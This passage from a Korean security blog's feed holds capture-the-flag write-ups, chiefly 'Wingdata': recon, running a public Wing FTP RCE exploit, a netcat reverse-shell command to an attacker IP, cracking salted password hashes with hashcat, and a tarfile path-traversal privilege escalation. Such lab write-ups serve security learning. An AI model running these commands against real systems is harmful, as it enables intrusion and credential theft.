나오는데 이때 !id를 쳐주게 된다면 root의 권한으로 명령어를 실행할 수 있게된다.</li></ul><ul class="notion-list notion-list-disc notion-block-4032196f526b8237852c81d756a639a2"><li>원리는 간단하게 systemctl 내부에서 less가 실행될때 권한이 고스란이 상속되기 때문에 이런 문제가 발생했다는 것이다. ( less에서 원래 shell escape가 가능 )</li></ul><ul class="notion-list notion-list-disc notion-block-4092196f526b83bfaa2481589b82c893"><li>root flag 획득!</li></ul><div class="notion-blank notion-block-3032196f526b839dafdc01cd3ee37cfd"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-50f2196f526b8363b96401ba7dd7803f" data-id="50f2196f526b8363b96401ba7dd7803f"><span><div id="50f2196f526b8363b96401ba7dd7803f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#50f2196f526b8363b96401ba7dd7803f" title="Mitigation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Mitigation</span></span></h2><ul class="notion-list notion-list-disc notion-block-8892196f526b8238aede817392634d4b"><li>취약한 버전이 돌아가지 않도록 업데이트를 충실히 하자!!</li></ul></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wingdata]]></title>
            <link>https://blog.meowyeok.kr/article/8cf2196f-526b-8227-b394-817905cc0201</link>
            <guid>https://blog.meowyeok.kr/article/8cf2196f-526b-8227-b394-817905cc0201</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-8cf2196f526b8227b394817905cc0201"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8c32196f526b837cadf7812d685e6a80"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:304.97222900390625px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aae06ecaf-173a-4b30-8871-2d00a44efee3%3Aimage.png?table=block&amp;id=8c32196f-526b-837c-adf7-812d685e6a80&amp;t=8c32196f-526b-837c-adf7-812d685e6a80" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-table-of-contents notion-gray notion-block-b012196f526b8237bad701534ad2a5bf"><a href="#d1b2196f526b82a281878102cfe66f28" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#c642196f526b8296b8fb816706bc63b1" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#fb82196f526b8358a47801a37ffec5d5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-d1b2196f526b82a281878102cfe66f28" data-id="d1b2196f526b82a281878102cfe66f28"><span><div id="d1b2196f526b82a281878102cfe66f28" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d1b2196f526b82a281878102cfe66f28" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-f6a2196f526b8219a6f601e127c3c6a6"><code class="notion-inline-code">nmap -sV 10.129.10.130</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f012196f526b83c7aeaf817ef796e575"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aaebd0d01-2f08-480c-90b0-e24a7573b6f2%3Aimage.png?table=block&amp;id=f012196f-526b-83c7-aeaf-817ef796e575&amp;t=f012196f-526b-83c7-aeaf-817ef796e575" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-3f52196f526b839fb3e401159cc543d2"> </div><div class="notion-text notion-block-c252196f526b82b9a3690176b3f23930"><code class="notion-inline-code">gobuster dir -u wingdata.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d6f2196f526b8305bbd3812fbddf8ff7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad0ad560c-c32d-4aec-bb28-8ff3b87af58f%3Aimage.png?table=block&amp;id=d6f2196f-526b-8305-bbd3-812fbddf8ff7&amp;t=d6f2196f-526b-8305-bbd3-812fbddf8ff7" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-7d22196f526b8285b5c0810d0c856222"><li>여기선 공격 포인트가 안보였다.</li></ul><div class="notion-blank notion-block-02c2196f526b8322a26f01e4507f58b1"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d582196f526b83569da38147956e8a90"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aca5c2223-5424-4539-8926-611de0751caa%3Aimage.png?table=block&amp;id=d582196f-526b-8356-9da3-8147956e8a90&amp;t=d582196f-526b-8356-9da3-8147956e8a90" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9a32196f526b83f59015015a5d018fb7"><li>그래서 웹페이지 코드를 찬찬히 보고있었는데 <code class="notion-inline-code">ftp.windata.htb</code> 를 찾았다. (nmap을 더 잘때렸으면 이미 찾았을거다)</li></ul><div class="notion-blank notion-block-01e2196f526b82b4a12d81a89b92f244"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-15f2196f526b8378927a8108d0b415b7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aeb157ebf-bd47-4754-8da3-72c74564fb61%3Aimage.png?table=block&amp;id=15f2196f-526b-8378-927a-8108d0b415b7&amp;t=15f2196f-526b-8378-927a-8108d0b415b7" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2492196f526b83c5a54d01e0d0d1c492"><li>ftp 웹페이지 접속 화면이다.</li></ul><ul class="notion-list notion-list-disc notion-block-5cc2196f526b8249b05081b8095c3b1d"><li>접속하자마자 Wing FTP v7.4.3 이 보였고 검색해보니 Unauthenticated RCE CVE-2025-47812 취약점이 존재하는걸 확인하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-2f42196f526b8292bef10157e8c12846"><li><a class="notion-link" href="https://github.com/estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC" target="_blank" rel="noopener noreferrer">estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC: Unauthenticated remote code execution vulnerability in Wing FTP Server &lt;= 7.4.3.</a><a class="notion-external notion-external-mention" href="https://github.com/estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC" target="_blank" rel="noopener noreferrer"><div class="notion-external-image"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-external-description"><div class="notion-external-title">CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC</div><div class="notion-external-subtitle"><div class="notion-preview-card-domain-warp"><div class="notion-preview-card-logo"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-preview-card-domain">Github</div></div><div class="notion-preview-card-title">CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC</div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Owner</div><span class="notion-external-subtitle-item-desc">estebanzarate</span></div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Updated</div><span class="notion-external-subtitle-item-desc">Jul 21, 2026</span></div><div class="notion-preview-card-github-shields"><img src="https://img.shields.io/github/stars/estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC?logo=github" alt=""/><img src="https://img.shields.io/github/last-commit/estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC" alt=""/></div></div></div></a></li></ul><div class="notion-blank notion-block-32c2196f526b82a78c97012310a650e2"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c642196f526b8296b8fb816706bc63b1" data-id="c642196f526b8296b8fb816706bc63b1"><span><div id="c642196f526b8296b8fb816706bc63b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c642196f526b8296b8fb816706bc63b1" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><div class="notion-text notion-block-7ee2196f526b8325976b01d85e729957"><code class="notion-inline-code">python </code><code class="notion-inline-code"><a class="notion-link" href="http://cve-2025-47812.py/" target="_blank" rel="noopener noreferrer">CVE-2025-47812.py</a></code><code class="notion-inline-code"> -u http://ftp.wingdata.htb</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ae82196f526b8378bbd28164cf5c45de"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0823ef86-b37a-4084-8739-1e605718fdc2%3Aimage.png?table=block&amp;id=ae82196f-526b-8378-bbd2-8164cf5c45de&amp;t=ae82196f-526b-8378-bbd2-8164cf5c45de" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-7382196f526b82f5a710818fcfb6275f"><li>poc코드를 실행시켜 손쉽게 셸을 따내었다.</li></ul><ul class="notion-list notion-list-disc notion-block-fc52196f526b8295923a01c7d8a63e01"><li>근데좀 불편해서 nc로 새로운 리버스셸을 연결했다.</li></ul><div class="notion-blank notion-block-1782196f526b8359b0c981d5d1c0e61c"> </div><div class="notion-text notion-block-2c82196f526b8253b36f81db6ea6b7aa"><code class="notion-inline-code">rlwrap nc -lvnp 4444</code></div><div class="notion-text notion-block-8fb2196f526b834a930e81d4808311e4"><code class="notion-inline-code">nc -e /bin/sh 10.10.14.116 4444</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-afa2196f526b8382973a01bf224960d9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7976001d-bb77-4f69-883f-3cc210a818de%3Aimage.png?table=block&amp;id=afa2196f-526b-8382-973a-01bf224960d9&amp;t=afa2196f-526b-8382-973a-01bf224960d9" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-8f92196f526b836cab470128e5d5735b"><li>근데 불편한건 비슷했다..</li></ul><ul class="notion-list notion-list-disc notion-block-b3d2196f526b82c48cda81c0b55b9860"><li>아무튼 접속한건 wingftp 유저였고, /home에는 wacky라는 유저가 있어서 여기에 붙을만한 방법이 필요했다.</li></ul><ul class="notion-list notion-list-disc notion-block-65f2196f526b8357971881f55acb544e"><li>그래서 내부를 좀 뒤졌더니 어렵지않게 admin과 user들의 해시된 패스워드를 찾을 수 있었다.</li></ul><div class="notion-blank notion-block-63f2196f526b8270b81f0113b0342da1"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5122196f526b83bab34f81c8be71086c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A5d7c0ac8-e8da-45f7-a681-d55506c20693%3Aimage.png?table=block&amp;id=5122196f-526b-83ba-b34f-81c8be71086c&amp;t=5122196f-526b-83ba-b34f-81c8be71086c" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d552196f526b83c280e20192bb81183a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Afb206b71-e7dc-45d6-a7de-b799d656725c%3Aimage.png?table=block&amp;id=d552196f-526b-83c2-80e2-0192bb81183a&amp;t=d552196f-526b-83c2-80e2-0192bb81183a" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-fdf2196f526b82e986c9010ad799f544"><li>근데 이게 MD5가 아니고 SHA-256해시된거여서 크랙하려면 salt값이 필요해서 검색해봤다.</li></ul><ul class="notion-list notion-list-disc notion-block-a542196f526b827dbc0681f5d8412e8a"><li> <a class="notion-link" href="https://www.wftpserver.com/help/ftpserver/index.html?compression.htm" target="_blank" rel="noopener noreferrer">https://www.wftpserver.com/help/ftpserver/index.html?compression.htm</a></li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b9b2196f526b829ca74c81922c4c10f3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:432px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad4b74ec0-7234-4092-9529-00a294e7b6c0%3Aimage.png?table=block&amp;id=b9b2196f-526b-829c-a74c-81922c4c10f3&amp;t=b9b2196f-526b-829c-a74c-81922c4c10f3" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2882196f526b830987a901030c5c13d4"><li>해당 웹페이지에서 사진을 보면 기본 salt값이 WingFTP로 되있는걸 볼 수 있다.</li></ul><div class="notion-blank notion-block-b852196f526b829b9d1581ad0fa80d36"> </div><div class="notion-text notion-block-68c2196f526b825d9faf81e111e07c58"><code class="notion-inline-code">hashcat -m 1410 wackey_hash.txt /usr/share/wordlists/rockyou.txt</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1832196f526b83c3a48a010bde799b1c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A85ca1786-6a0e-4cea-8cc2-1fd8c9fdfda4%3Aimage.png?table=block&amp;id=1832196f-526b-83c3-a48a-010bde799b1c&amp;t=1832196f-526b-83c3-a48a-010bde799b1c" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3212196f526b838eb89601a0f06808bd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aad869e3c-563e-4684-8627-2d15a10a078c%3Aimage.png?table=block&amp;id=3212196f-526b-838e-b896-01a0f06808bd&amp;t=3212196f-526b-838e-b896-01a0f06808bd" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-7992196f526b83cf936781c7381e4074"><li>hash:salt 형태로 txt파일을 만들어주고 SHA-256모드로 돌렸더니 성공했다!</li></ul><ul class="notion-list notion-list-disc notion-block-9a12196f526b82a6b7ea813ef4a55da9"><li>( wacky / !#7Blushing^*Bride5 )</li></ul><div class="notion-blank notion-block-b412196f526b822ba59381240b7f9ed9"> </div><div class="notion-text notion-block-b802196f526b83fab84e018d17671b0b"><code class="notion-inline-code">ssh wacky@wingdata.htb</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2562196f526b8224bda88124a4ff56a0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:95px"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A99686bf3-1978-420f-9fc3-1e652c3f3d50%3Aimage.png?table=block&amp;id=2562196f-526b-8224-bda8-8124a4ff56a0&amp;t=2562196f-526b-8224-bda8-8124a4ff56a0" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5ba2196f526b83839a73013ac59459f8"><li>얻어낸 비밀번호로 바로 ssh에 붙어보니 연결되었다.</li></ul><ul class="notion-list notion-list-disc notion-block-84f2196f526b82a2ae960130cfc4e7ea"><li>user flag 획득!!</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-fb82196f526b8358a47801a37ffec5d5" data-id="fb82196f526b8358a47801a37ffec5d5"><span><div id="fb82196f526b8358a47801a37ffec5d5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#fb82196f526b8358a47801a37ffec5d5" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><div class="notion-text notion-block-6f12196f526b837593e4015f165c50a7"><code class="notion-inline-code">sudo -l</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9c42196f526b8291933e01fa30dcb237"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa4f7d84d-2a2b-4a28-a9d7-13fcf0c7fc3c%3Aimage.png?table=block&amp;id=9c42196f-526b-8291-933e-01fa30dcb237&amp;t=9c42196f-526b-8291-933e-01fa30dcb237" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-d1d2196f526b823d82d9810a0c26808e"><li><code class="notion-inline-code">/opt/backup_clients/restore_backup_clients.py</code> 를 아무 인수나 붙여서 root권한으로 실행할 수 있었다.</li></ul><div class="notion-blank notion-block-ed52196f526b82839ba8816e55832af0"> </div><ul class="notion-list notion-list-disc notion-block-4332196f526b8248845b81a80c6ac4fb"><li><code class="notion-inline-code">BACKUP_BASE_DIR, STAGING_BASE</code> 에서 조작해서 공격하나 싶었지만 모두 쓰기 권한은 없었다. </li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1192196f526b82c8be4d0172c0cbeb54"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A67784370-6dc5-44af-bd14-bd4612378a89%3Aimage.png?table=block&amp;id=1192196f-526b-82c8-be4d-0172c0cbeb54&amp;t=1192196f-526b-82c8-be4d-0172c0cbeb54" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-4b32196f526b82e6abfd812f941bb393"><li>압축하기 전에 권한을 전부 다줘놓고 압축한뒤에 풀면 다시 원상태로 돌아온다. 아마 이부분 때문인거 같다. <code class="notion-inline-code">tar.extractall(path=staging_dir, filter=&quot;data&quot;)</code></li></ul><ul class="notion-list notion-list-disc notion-block-5972196f526b82beb89881892a647298"><li>linpeas도 돌려봤는데 별게 없었다.</li></ul><ul class="notion-list notion-list-disc notion-block-5062196f526b82adb1e9011d3c02700e"><li><code class="notion-inline-code">tar.extractall(filter=”data”)</code> 키워드를 가지고 구글링을 해보았는데 단서를 찾았다.</li></ul><ul class="notion-list notion-list-disc notion-block-1462196f526b8216a57f01c7fda45de0"><li>CVE-2025-4517</li><ul class="notion-list notion-list-disc notion-block-1462196f526b8216a57f01c7fda45de0"><li>원래 <code class="notion-inline-code">tarfile.extractall(filter=&quot;data&quot;)</code> 함수는 path traversal를 필터링해 예방하고 있었다.</li><li>그러나 <code class="notion-inline-code">os.path.realpath(strict=False)</code> 함수에서의 버그로 완전히 우회가 가능해졌다.</li><li><b>PATH_MAX</b> (4096 bytes on Linux) 길이를 초과하면 해당 함수는 심링크 기반에서 문자열기반으로 경로를 해석하기 시작한다. 이 특성을 활용해서 path traversal을 일으키는것.</li></ul></ul><div class="notion-text notion-block-c3d2196f526b82dca6c6814091c96389"><a class="notion-external notion-external-mention" href="https://github.com/0xDTC/CVE-2025-4517-tarfile-PATH_MAX-bypass" target="_blank" rel="noopener noreferrer"><div class="notion-external-image"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 